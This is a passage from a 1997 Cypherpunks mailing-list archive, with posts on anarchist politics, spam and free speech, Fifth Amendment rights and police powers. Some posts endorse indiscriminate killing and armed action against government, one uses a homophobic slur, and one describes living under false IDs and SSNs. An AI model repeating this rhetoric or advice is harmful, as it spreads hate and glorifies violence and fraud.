Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 23 May 1997 04:05:03 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: The Natives Are Getting Restless (was Wine Politics Again!)
In-Reply-To: <3.0.32.19970522000739.00709ce0@cnw.com>
Message-ID: <Pine.LNX.3.91.970522173438.712A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> >    as for the great fairweather liberal bigot Blanc's passing it off 
> >    as tcm's drunken ramblings, I doubt it.  war is hell, and 
> >    "innocents" get wasted --but, a society at war has no innocents.  
> >    blow 'em all away.  scorched earth is inadequate; burnt earth is 
> >    more effective. if there are no prisoners, there are no 
> >    complainers.

> There are little battles raging on all around us, not only the fight for
> privacy-by-encryption which you all are aware of.   Some cpunks have stated
> that "society doesn't know or care what is happening".   Some of you all
> don't know the kinds of battles or other people/groups are having, either
> with government or with some opposing members of this same society.   

This is a clearly observable characteristic of this list, however, I 
think it is only to be expected. I`m sure a lot of cpunks care about 
other issues than privacy and civil rights, but people tend to follow the 
flow on a mailing list as in real life. Most people don`t feel 
"confortable" starting new threads, I know I often start new threads by 
making important points in other threads, however, I very rarely start a 
new thread from scratch, I don`t seem to be able to write well unless I 
am contradicting a point someone else has made. 

> How can one keep up with/contribute to all of these?    So many times, I
> will happen to read accounts of people who have got into trouble of some
> kind, or down on their luck (they lost their job and don't have skills,
> they need a heart transplant, they got jailed by mistake, the car
> dealership gave them a bum deal), and they decide that society  doesn't
> really know what is happening and complain that it is unsympathetic and
> lament "when will society wake up and realize that something needs to be
> done", etc..   Well, jeez, there's only so much time to spend on everybody
> else's problems. 

One of the main reasons societies degenerate into nanny state mentalities 
is because people spend too much time worrying about other peoples small 
and trivial problems ("there should be a law!").

> All these people with their problems would like everyone one else to be
> aware of their plight and sympathetic to their rights and to contribute to
> their cause, and get disturbed about being "marginalized".  As far as I'm
> concerned, everyone is "marginalized".   But people are behaving as
> expected:   the Waco religious group acted as expected, the BATF acted as
> expected; government employees behave as expected.   The cpunks, who know
> so much about government, in particular the NSA & certain luminaries
> related to privacy&encryption, should expect that things will go on as they
> do - even if they bomb D.C. out of existence.   And this is because,
> apparently,  people of this type & kind simply haven't evolved enough to
> expect anything different.

I don`t believe that this is the case. The sheeple will follow wherever 
"society" leads, if the US were to gradually evolve, or even change 
overnight through revolution, into a stable anarchy I don`t think most 
people would care. I observed in my last post that most people are too 
concerned with their own lives to worry about political and social issues 
in any great detail, most peoples involement goes about as far as 
watching CNN.

I don`t think it is so much a matter of evolution, it is simply 
education. People have been brainwashed into treating with fear and 
distrust people who do not share the views of the majority, indeed, 
people fear anyone who has any real views at all.
For an example of such brainwashing see the governments "drug education 
programs", most people who are against legalisation of drugs do not even 
know why they think drugs should be illegal, they have simply taken on a 
point of view the majority of people seem to share, maybe subconsciously 
to gain acceptance, more often because it just does not directly concern 
them and they do not care.
This brainwashing, and I will stay with the drug prohibition example 
because I believe it is a good one, is so pervasive and so powerful that 
if one were to ask someone who has never known a drug dealer to draw a 
picture of one, the result would likely be a young, black male who was 
carring a gun and appeared in a confrontational pose. Most people also 
don`t have the time or the interest to educate themselves about issues 
such as these, the government says drugs kill, so people think that 
anyone who uses the governments "nasty chemical of the year" (tm) is 
going to drop dead any minute. 

> Now, crypto was supposed to allow for the possibility of not having to deal
> with these people directly;  it was supposed to usher in the new
> technological era whereby one could "route around" and generally avoid
> messing with Government Mongers, from negotiating for the right to breathe
> on one's own Maintenance Schedule.   

I honestly believe this prediction has, to some extent, come about. 
Currently the technology may be limited, but on a forum such as this for 
example, I can post anonymously, or use a pseudonym, I can use digital 
signatures on my anonymous postings to accumulate reputation capital, I 
will, soon, be able to send you fully anonymous digital cash in payment 
for goods or information, often neither of us would need ever know the 
true identity of the other. 

Of course all of this offers little protection when your front door is 
kicked in by the thugs, but that is a property not of the technology but 
of humans. If I wanted to lead a totally untraceable and anonymous life I 
could travel around the place, my net persona would of course remain the 
same so I could continue to accumulate reputation capital regardless of 
my geographical location, I could pay for all my necessary transactions 
by cash, I could use false ID, false SSNs, false names etc. to withhold 
my true identity.

You only get out what you put in, if people expect technology to totally 
remove any responsibility for vigilance from them, then they are mislead. 
Technology can ease the burden, and allows one to keep the same virtual 
identity whilst moving around, it allows you to use anonymity yet gain 
reputation, the technology will evolve, and will eventually be so 
pervasive and powerful that it will result in the downfall of the 
government.

> Well, so much for an anarchic life of Independent Means.  I must say, from
> the posts I've been reading these past several days, I haven't seen very
> imaginative ideas for dealing with the problems which dull governments
> create.   

I can see why you might say this, but I must ask why we need imaginative 
ideas? - The old ones, involving guns and other weapons sound OK to me. 
If you really want imaginative ideas go ask Jim Bell, his carbon fibres 
idea was sure one I`d never heard of before.

> It is typical of dull governments that when pressed to the wall
> they resort to desperate, mediocre ways of dealing with problems - like
> obfuscation, exaggerated charges of evil intent, physical violence; all
> signs of a limited intellectual capacity for coming to terms with the facts
> of reality  (the problems they face as Protectors of Goodness & Justice
> (tm) ).   

Whether they choose to use such powers or not all governments are able to 
force their will on the people by use of force. Whether they use them or 
not the very act of posessing the powers is criminal in itself, as in 
doing so the government assumes a position of superiority over its people.

Of course, regardless of their initial form all governments eventually 
"evolve" into forces for repression and evil, it is the means by which 
they attempt to retain their position of power. 

The thought that a government, as a group of people who believe in their 
right to dictate to the people who happen to live in their part of the 
playground, could ever attempt to come to terms with it`s own downfall is 
incomprehensible, there is no such thing as permenant government, which 
seems to suggest that anarchy is more stable, as it is therefore the 
default condition approached by societies with governments.

> I would have expected newer, more creative ("evolved") ideas from
> scientists, mathematicians, physicists, computer-savvy members.   

This is true, I think most cypherpunks, myself included, tend to prefer 
sitting around chatting about ethical questions and blowing things up, 
than actually discussing specific ways to improve the situation.

Your style of discourse in your post suggests you believe that the most 
effective way to go about achieving a better society and a better form of 
government is the reform the present system.
I agree that this is probably the method most likely to get good results, 
but from an idealogical point of view I am unable to even contemplate 
advocating anything based on the present corrupt and evil system.  
To do so sends the wrong message to the people in power, it tells them we 
are "reasonable people", that we are willing to fight on their terms, 
sometimes radical statements and radical actions are the only way to go.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Fri, 23 May 1997 15:48:53 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: LSE UK crypto politics conference
In-Reply-To: <199705211857.LAA23752@comsec.com>
Message-ID: <3.0.1.32.19970522182357.00ab9d80@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:03 PM 5/20/97 +0100, Adam Back wrote:
>Panel: Carl Ellison, legal advisor to GLIC (forget name), Nigel
>Hickson DTI, someone from TIS (?) who spoke too quitely.  Chair was
>Caspar Bowden, Scientists for Labour.

The person from TIS was Brian Gladman.
BTW, he wrote an open letter response to the DTI proposal which
is on the web from one of the standard Privacy sites.

 - Carl


+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 23 May 1997 02:43:12 +0800
To: Kent Crispin <tcmay@got.net>
Subject: Re: Wine Politics Again!
In-Reply-To: <19970520231014.03100@bywater.songbird.com>
Message-ID: <199705221828.MAA22184@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970520:2310 Kent Crispin <kent@songbird.com> expostulated:

+On Tue, May 20, 1997 at 04:46:08PM +0000, Attila T. Hun wrote:

+>    government is its own end:  power corrupts, and absolute power 
+>    corrupts absolutely.  hasn't changed yet in history.  even the 
+>    greats, Solomon, David, etc. fell prey to the siren song of power;
+>    why should far more inferior men like Bubba, who has absolutely 
+>    nothing to his credit except deceit, be exempt?

+"Power corrupts..." isn't a property of governments, it is a property 
+of individual human beings.

    aw, come on, Kent --you remind me of the faggots dancing around
    Harvard Square in 1960 when TOCSIN was in its heyday before it
    became SANE.   

    jocks used to go down there on Saturday mornings to bait them
    into attacking so the Irish cops could bust them.  some peaceniks
    managed to be rather violent with their placards.

    If you have not figured it out --government is the *enabler*
    to corrupt absolute power.

    I just love idealistic peaceniks, the better ones taste just like 
    chicken.

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM4SQD704kQrCC2kFAQFneAP/bTYRk1OcC2lpn0uxIEeLAy9WHkgCV5af
+0p3azmZpk3L+lwDUOJjP7VqggQPvIBGjjlyddBJE5AEfMFs4nB+RDFRHLwIhZ+i
mq7ydoulh5N7E9cirCpaC6PNgWsh+xy2iPcWBUPdg3XxVrUI7UhogSyb0pIVEyB0
JKQYe3dXcaw=
=ffpk
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 23 May 1997 02:49:15 +0800
To: John Deters <jad@dsddhc.com>
Subject: Re: Spam IS Free Speech
In-Reply-To: <3.0.1.32.19970521144153.00ac47e0@labg30>
Message-ID: <Pine.LNX.3.91.970522182630.712B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Are you telling me that being subjected to a jack-boot investigation for
> running pyramid schemes *and* having your customers leave because they
> can't get mail services is a reasonable expense to bear because of
> Spamford's "right to free speech"?  Spamford's speech (or that of his
> "customers") isn't even directed at the sendmail operator or his customers.
>  The sendmail operator above is merely being used by Spamford as a
> megaphone to broadcast the message of spam to other people (who really
> don't want it, either, but that's beside the point.)

You have argued my point for me, if operators took more security 
precautions like authentication protocols this sort of abuse of mail 
servers would not occur. If spamford had to send the spam from his own 
domains with his address on them he would get the retaliation.
Technology is the way to protect against actions like this, not ethical 
arguments.

> It's no longer the same as shouting down the marketing researcher.  

To some extent I agree, but it isn`t really the same in the first place, 
it was just a vaguely similar situation, in that the market researcher 
cannot pretend to come from somewhere else so I will not shout at a 
innocent bystander. 

> What Spamford has done is to see me walking down the sidewalk carrying a
> megaphone, and grab me and tell me that I must stand there and hold my
> megaphone in front of some spammer's mouth while the spammer shouts at a
> crowd of people who don't want to hear him.  

Exactly, solution? - refuse the megaphone. Protect your mail servers.

> All the while, you stand there
> next to Spamford and claim that I must continue to hold my megaphone for
> the spammer because it's his "right to free speech", and the only way to
> avoid it is to turn my megaphone off, denying me the ability to allow
> anyone else to use my megaphone.

Spamford has a right to send whatever traffic he wants to your servers, 
if that includes false routed spam mails so be it, you have to protect 
yourself. I don`t claim that anyone has to leave their servers insecure 
so spamford can speak through them, but if you leave them open he does 
have a right to route through them. If you don`t want this, secure them.

> The icing on this cake is that if the spammer starts announcing "Make Money
> Fast" over my megaphone, the FBI will come and investigate ME because I'm
> the one holding the megaphone!

This is a fault of the FBI and not of the spammer.

> Free speech is NOT the subject here.  My right to walk down the street with
> my (lawfully registered) megaphone has been usurped by a thug.  You're
> telling me that every megaphone owner has a *duty* to hold it in front of
> every spammer's mouth.  

No, I`m saying if he holds it in front of their mouth he has to expect 
them to speak.

> Remember, these are finite megaphones.  They have batteries that
> need replacing, and the owners are stuck standing there holding them while
> the spammers speak as long as they want.  Sorry, but those megaphone owners
> may have other things to do with their megaphones and their time.  You're
> confusing "the right to free speech" with "the right to kidnap megaphone
> owners".

You are forgetting the 998348934th ammendment of the US constitution:

Congress shall make no law infringing the right of the people to kidnap 
megaphone owners...

Seriously though, you make the comment earlier that listening to speech 
costs nothing because you can walk away, the internet is the same. If you 
don`t like getting mail from someone, killfile them, tell them to stop, 
change your address, get off the internet. You have a number of options, 
it may seem that your percieved "right" to have someone not send you mail 
is being infringed and you are being forced to get off the internet or 
change addresses, but this is really not necessary if you can handle a 
killfile. This is like when people talk about their percieved "right" to 
walk down the street without being mugged, they have no such right, it is 
simply that the default case is for them to not be mugged, and if they 
are mugged this constitutes a violation of their property rights.

> In this particular case, of course, there was a technical solution:
> install a sendmail to prevent routing of incoming mail.  ISPs and
> corporations around the globe will need this new hardened sendmail to keep
> the spammers away.  Restricting the speech they carry.  Turning off the
> megaphones.
> 
> Spam is interfering with the *real* victim's (the sendmail operator's)
> ability to provide customer service; in a very real and fiscally damaging
> way.  It's also restricting the traffic he can carry to only that speech
> originating from
> his domain.  His right to carry YOUR speech has been restricted by his
> technical solution to keep his machine alive.

This is not really a restriction, they have the choice: carry the spam or 
kill the other mail altogether. No-one is forcing them to take either 
course of action, sure it`s a sad case of affairs when we have to take 
technological action against people for using others equipment in 
unpleasant ways, but it`s simply the way things are.

> What is ultimately likely to happen, however, is that Mr. Wallace will be
> prosecuted under existing laws for swindling the original MMF spammers.
> He's profiting by charging them to steal resources from ISPs.  He *might*
> be able to avoid prosecution by putting a "warning sticker" on his
> advertising saying something to the effect that, "if you send a Make Money
> Fast scam out, the jack-booted thugs will come and haul you away faster
> than I can send out your e-mails."  But then he'd have no business at all!

Wallace may be prosecuted, I think it would be wrong if he was. Even if 
you believe that Wallace does something that is unethical you must admit 
that if he were succesfully prosecuted it would send the message that a 
form of speech can be legislated against and prosecuted in court.

> I'm not trying to claim that Mr. Wallace does or does not have the right to
> speak to us.  I simply want to point out that there is real monetary loss
> to the real victims of his spamming.

Yes, but they can prevent this monetary loss. To give another flawed but 
illustrative paradigm you might come up to me in the street and say "give 
me your money", if I refuse and you hit me and take my money you have mugged 
me, if I refuse and continue walking, and you take no violent action against
me, you have done nothing wrong.

I admit what Wallace does is unpleasant, but it is not immoral or 
unethical from my point of view. If you could not prevent the monetary 
loss caused by his speech then I would think differently, but you can, 
and that is the bottom line.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Fri, 23 May 1997 10:50:30 +0800
To: gbroiles@netbox.com>
Subject: Re: Spam laws threaten remailers?
Message-ID: <199705230233.TAA13174@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 22 May 97 at 15:25, Greg Broiles wrote:

> Both of the anti-spam bills that I've seen (CAUCE and Murkowski's)
> are poorly drafted - they're both overbroad and underinclusive. I
> don't think they're necessarily constitutionally "overbroad", but
> they haven't been written by people with a good understanding of the
> technical issues.
> 
> As I read both bills, they'll prohibit behavior pretty universally
> considered legitimate - e.g., including a link to a web site in your
> .signature which happens to sell a product or service, for example.

This is really going too far!!!  I was told, when I first got 
on-line, that this was a "polite" way to get your product or service 
out there, without spamming.  By posting on-topic replies to usenet 
and high traffic mailing lists, like this one...  Shit, I hate this 
"one bad kid gets the rest of the class in trouble" mentality.  I am 
really pissed at this whole issue and the goverment trying to get 
it's grubby paws on the net any way they can!

I am also irked at the public's desire for this government 
intervention.
 
> I think it'd make more sense to solve this problem technically,
> and/or carefully think about the legal framework appropriate for
> governing the flow of data between computers. (There are also sticky
> First Amendment issues here.)

You got that right.
 
> Ugh.
> 

Arrrrgh.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 23 May 1997 09:50:53 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: "You have the right to remain silent" (fwd)
Message-ID: <199705230103.UAA18097@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

Forwarded message:

> Date: Thu, 22 May 1997 15:08:27 -0400
> To: "Willaim H. Geiger III" <whgiii@amaranth.com>, cypherpunks@toad.com
> Subject: Re: "You have the right to remain silent"

> they can't order you to talk to them.  They can arrest you with probable
> cause 
> and detain you briefly for purposes of investigation.

They can arrest you at will w/ or w/o probable cause. If they can't produce
probable cause at your hearing then a writ of habeas corpus comes into play.

They can't CHARGE you without probable cause, minor but important
distinction. As I understand it, the charges that are recorded when you
first go to the police station are not 'official' until your hearing and
a judge signs the paperwork.

The police can even arrest you as a witness or for 'protective custody'
and then even the habeas corpus gets murky because no charges are filed.
If they can convince a judge to go along they can even hold you in
communicado.

>  They can ask you for 
> your name and you may have to supply it,

According to the 5th(?) Federal District you don't even have to do that unless
you are driving a vehicle or otherwise operating under a public license.

> Since cops are not judges,

This particular point if kept in mind changes the interpretation of the
Constitution considerably. It also puts such actions as making it illegal
for citizens to own assault weapons but the police can questionable since
the constitution does not draw a distinction between law enforcement and the
citizenry, as it does with the judicial, legistlative and executive bodies.
It therefore follows that if I as Joe Citizen can't do it then a police
officer can't either since they have no constitutional rights that I don't
and the 10th Amendment prohibits expansion of federal power (and by
extension of the 14th, states) by anything other than that proscribed in the
constitution.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 23 May 1997 10:28:42 +0800
To: cypherpunks@toad.com
Subject: Re: "You have the right to remain silent" (fwd)
Message-ID: <199705230132.UAA18166@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: "Willaim H. Geiger III" <whgiii@amaranth.com>
> Date: Thu, 22 May 97 08:46:56 -0500
> Subject: Re: "You have the right to remain silent"

> 1) Under the 5th Amendment one is not required to give any assistance to
> the police in a criminal investegation.

Not exactly true. The police can take various body samples and other
'physical characteristics' (eg hand writing) for determination of issues
involved in a case without you being able to refuse under the 5th. Also, if
you are not being accussed of any crime then the 5th can't protect you,
unless you want to admit tacit involvment in some criminal activity. Which I
am sure to some mindsets is sufficient probable cause.

In many states, such as Texas, citizenry are required by law to report any
commission of a felony. Not doing so can itself be a felony.

Most swords cut both ways...

An interesting aspect of the 5th and physical sample taking is the way the
line is drawn between what is permitted and what isn't. Historicaly it has
been just fine for a cop to shove his finger down your throat to grab that
black molly but verboten to pump your stomach. It is generaly felt that
pumping your stomach is 'too' invasive. What I would like to know is what is
the record since that ruling of the farthest down somebodies throat
evidence has been legaly removed from and beyond which its legitimacy is
consistently denied.

Interesting issue regarding fingerprints for drivers license and the 5th
that has to my research remained untested is that the fingerprints were
taken while under no suggestion of wrongdoing and with no Miranda. Yet these
can be used as evidence in criminal cases even at the federal level. Now it
might be argued that if not explicitly stated there is an implicit contract
with the state government and the individual regarding the use in criminal
proceedings. But since the 14th does not work in reverse there can not be
any implicit federal contract. Can the interstate commerce clause be
extended to this?

> 2) That the Ramsey's were prime suspects after 48hrs and no suspect was
> found.

They were prime suspects the moment the operator answered the 911 line.

> 3) That this was SOP for the LEA's to go after family members/friends of a
> murder victim even though, on average, 1/3 of murders in the US are
> commited by strangers and this figure is incresing.

Meaning that 66% of the time they will get the culprit. Sounds like a good
strategy to me for clearing 66% of the cases quickly.


                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 23 May 1997 08:53:59 +0800
To: Mark Grant <tcmay@got.net>
Subject: Re: Forgeries are your Friend
In-Reply-To: <v03007802afaa392f215b@[207.167.93.63]>
Message-ID: <3.0.2.32.19970522203625.03fffe64@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:09 AM 5/22/97 -0700, Mark Grant wrote:
>
>Sure, I was talking in general; my point only applies to those who make
>more 'government approved' posts than 'dangerous' ones. Of course there's
>still no guarantee that next year I won't be presented with an old signed
>post about something which was innocuous and is now hideously illegal.

So far in my close observation of the history of American jurisprudence I 
haven't seen too many written things that were legal at one point and later 
became (criminally) illegal.  I've never seen someone punished criminally (in 
violation of the Constitution's ban on ex post facto laws) for past speech 
that became retroactively illegal.

Some people have been sued and suffered financially for speech or writing that 
had been "legal" and became "illegal" at some indeterminate time (racism, 
sexism, bigotry, and homophobia par exaple) but examples of criminal 
prosecution are much harder to think of.

There is the "hate speech" sentence enhancement to other crimes (beat up an 
old lady for kicks and serve time for assault beat up an old lady while saying 
unkind things about women and serve time for assault + hate speech).  Certain 
kiddie porn definitions changed as well but I didn't see any ex post facto 
repeals in there.  As long as you said/published stuff before it was illegal, 
you were OK.

On the other hand, I've seen loads of things that used to be illegal to 
say/publish legalized over the years though most of them were civil rather 
than criminal matters to begin with.

I've also seen plenty of cases (Jake Baker, Phil Zimmerman, the SEC vs the 
Financial Newsletters, the CDA) in which I knew in advance that the case was 
dead meat as soon as it got to an appeals court (or before).  Those pure 
speech cases (in the absence of filthy pictures) are the easiest ones to win.

I always encourage those arrested in such cases to take a hard line and abuse 
the prosecutors with the unwinnability of their cases.  If you've got it, 
flaunt it.

Jim Bell may do some time for tax evasion but they could have got him on that 
at any time.  He won't be doing any time for publishing AP.  

And we won't be doing any time for what we say on this list.

DCF

"I win $20 if the CDA vote is 8-1 or 9-0."
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM4TmiIVO4r4sgSPhAQEnzAQA098wMfchNZkECwCYZi9sXoSwuBPFnocu
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QUV3SfHNPhU=
=CJq4
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 23 May 1997 11:57:58 +0800
To: cypherpunks@algebra.com
Subject: More stories from the Bell jar...
Message-ID: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----



This story is from the Oregonian May 22, 1997 Page D3:

Arrest solves mystery of law office stink bomb

A federal investigation that led to the arrest of James Dalton Bell 
of Vancouver appears to have solved a longtime mystery regarding a 
stink bomb attack in a downtown Portland law office.

In late April 1984, someone broke into law offices at 1123 S. W. 
Yamhill St. and poured a liquid on a hallway run that was so 
odorous it made at least one of the lawyers who smelled it vomit 
twice.

At the time, Nick Albrecht, who still practices law there, said the
skunklike scent, called mercaptan, was so overpowering that he had 
to go home because he could not stop gagging.

The target of the stink bomb attack was lawyer C. Douglas Oliver, 
who now lives in Southern California and won't discuss the incident.

Bell was arrested Friday on a federal complaint charging him with 
obstructing and impeding the Internal Revenue Service and the use 
of false Social Security numbers.  The complaint said that documents 
found on Bell's computer boasted of the mercaptan attack on the office
of a Portland lawyer who had sued him.

The lawyer was Oliver. Albrecht said Oliver had suspected that Bell
might have been behind the mercaptan attack, but could never prove it.

The federal complaint also charged Bell with the March 16 mercaptan 
attack on the IRS offices in the federal office building in Vancouver.
On the following day, when employees returned to work after the 
weekend, several of them had to be placed on leave because the smell 
was so powerful, the complaint said.


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQEVAwUBM4USfeQCP3v30CeZAQGNJgf+O8L65Bc6ce1jhUtUpjQS1kas2WU3TlNm
l/wxZt+kNhRV58VnCLYg1JWsUhoifM6JK+v2QU727SVHmAy+ktlovL43oKsgK7EE
Vg4WAj9A0rMqKIzNU/0PjNyjPtdsUEbxaZisIbWPONdm/sx1x9hhbDbA5T7sayyW
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WPQHaF7EEWHr/8eDRYZP+GgaOtI2pLJvuLGXeebf/0+BEAmTNS6AUuAwt2ogmxCx
TPGni0IRhODol5swhZlKAklK7si548Unm90o2o+Lg3JvFqg0SQs/Vg==
=7KT2
-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 23 May 1997 10:34:52 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: "You have the right to remain silent" (fwd)
Message-ID: <199705230147.UAA18179@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Date: Wed, 21 May 1997 19:03:11 -0800
> From: Tim May <tcmay@got.net>
> Subject: "You have the right to remain silent"

> >The 5th is meant to apply ONLY to persons being accussed of a crime, it is
> >not nor was it ever meant to protect non-accussed persons from turning over
> >evidence of criminal acts.
> 
> So you are saying the police may compel any and all information from
> someone just so long as that person has not been formally accused of a
> crime?

If they ask you questions regarding the commission of a crime the 5th will
not protect you unless you were involved. The flip side to this that
protects this 'hole' from being catastrophic is that you don't have to talk
to the police at all unless accussed of a crime. They most certainly can
take physical evidence from 3rd parties (ie hostile witnesses) which they
believe are involved in some manner with the crime (ie entering your
apartment to track the path of a bullet in the hopes of retrieving it).
Refusing to answer the questions of the prosecutor while under oath has its
own consequences. What really keeps it from getting out of hand is the cost
of interviewing and calling all possible witnesses to some crime. Just
imagine calling everyone on the floor of a murder as SOP.

> The Miranda precedent ("you have the right to remain silent...")
> establishes that someone under arrest may remain silent. And someone _not_
> under arrest is under no obligation to cooperate, unless subpoenaed, right?

As I understand it that is correct.

> The latest example being the Ramsey case in Boulder ("Home of PGP"). Much
> is made of the fact that the Ramseys, not being under arrest, are not
> required to *say anything* to the police. (Left unanswered is why innocent
> parents whose daughter has been brutally murdered would choose to say
> nothing to the police...even I, a skeptic about much that modern cops are
> involved in, am suspicious of the Ramseys for their noncooperativeness.)

If they are truly innocent, what could they possibly have to say other than
"Please find the killer of our daughter" and "We didn't do it." Innocent
people have little to say, the guilty need to convince us of their
innocence.

"Me thinks he protest too much."

                I have no idea



                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@mcimail.com>
Date: Fri, 23 May 1997 10:10:03 +0800
To: cypherpunks <cypherpunks@algebra.com>
Subject: Use a cipher, go to jail
Message-ID: <97052301491003/0005514706DC4EM@mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain


Follow the link:
http://www.nando.net/newsroom/ntn/info/052297/info24_9595.html
---------------------------------------------------------------------------

FBI says hacker sold 100,000 credit card numbers
---------------------------------------------------------------------------

Copyright ) 1997 Nando.net
Copyright ) 1997 The Associated Press

SAN FRANCISCO (May 22, 1997 9:13 p.m. EDT) -- A clever hacker slipped into
a major Internet provider and gathered 100,000 credit card numbers along
with enough information to use them, the FBI said Thursday.

Carlos Felipe Salgado, Jr., 36, who used the online name "Smak," allegedly
inserted a program that gathered the credit information from a dozen
companies selling products over the Internet, said FBI spokesman George
Grotz.
----
Said hacker used a sniffer to gather the numbers, and as part of the
process, he encrypted the database he sold to an undercover agent.
Anyone care to take any bets on whether he shows up as a case for the
'use a cipher to commit a crime' argument?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 23 May 1997 10:56:36 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: Police & military access
Message-ID: <199705230204.VAA18264@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

It occured to me that if the police have no civil liberties extending beyond
that of a citizen and citizens are not legaly permitted access to military
hardware then neither should the police.

If this applied then it would not be legal for police to have access to any
sort of communication or encryption technology that was not available to the
normal citizen.

If a police officer can buy body armor and automatic weapons for self
defence then so can a citizen.

If a police officer can search a suspect for weapons "to protect their person"
and confiscate or otherwise remove them from the immediate vicinity then a
normal citizen should require a police officer to do the same. In other
words, once it is established that the suspect is not armed the police
officer should be required to place their weapon in their vehicle or
othewise secure it off their person.

etc.

etc.

So, the question of the hour is:

Do police have any civil rights not endowed to a individual citizen?



                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com

                                      





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 23 May 1997 12:47:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Forgeries are your Friend
In-Reply-To: <v03007800afaa2d1c4b3a@[207.167.93.63]>
Message-ID: <v03102802afaaccbbaf8f@[17.219.103.183]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>I want to expand on one of the points I just made. As I think about the
>issue more, the more I see signings of posts as being more of a help to my
>enemies (prosecutors, in this context) and less of a help to my friends.

I would assume that, if they're interested in your postings, they'll
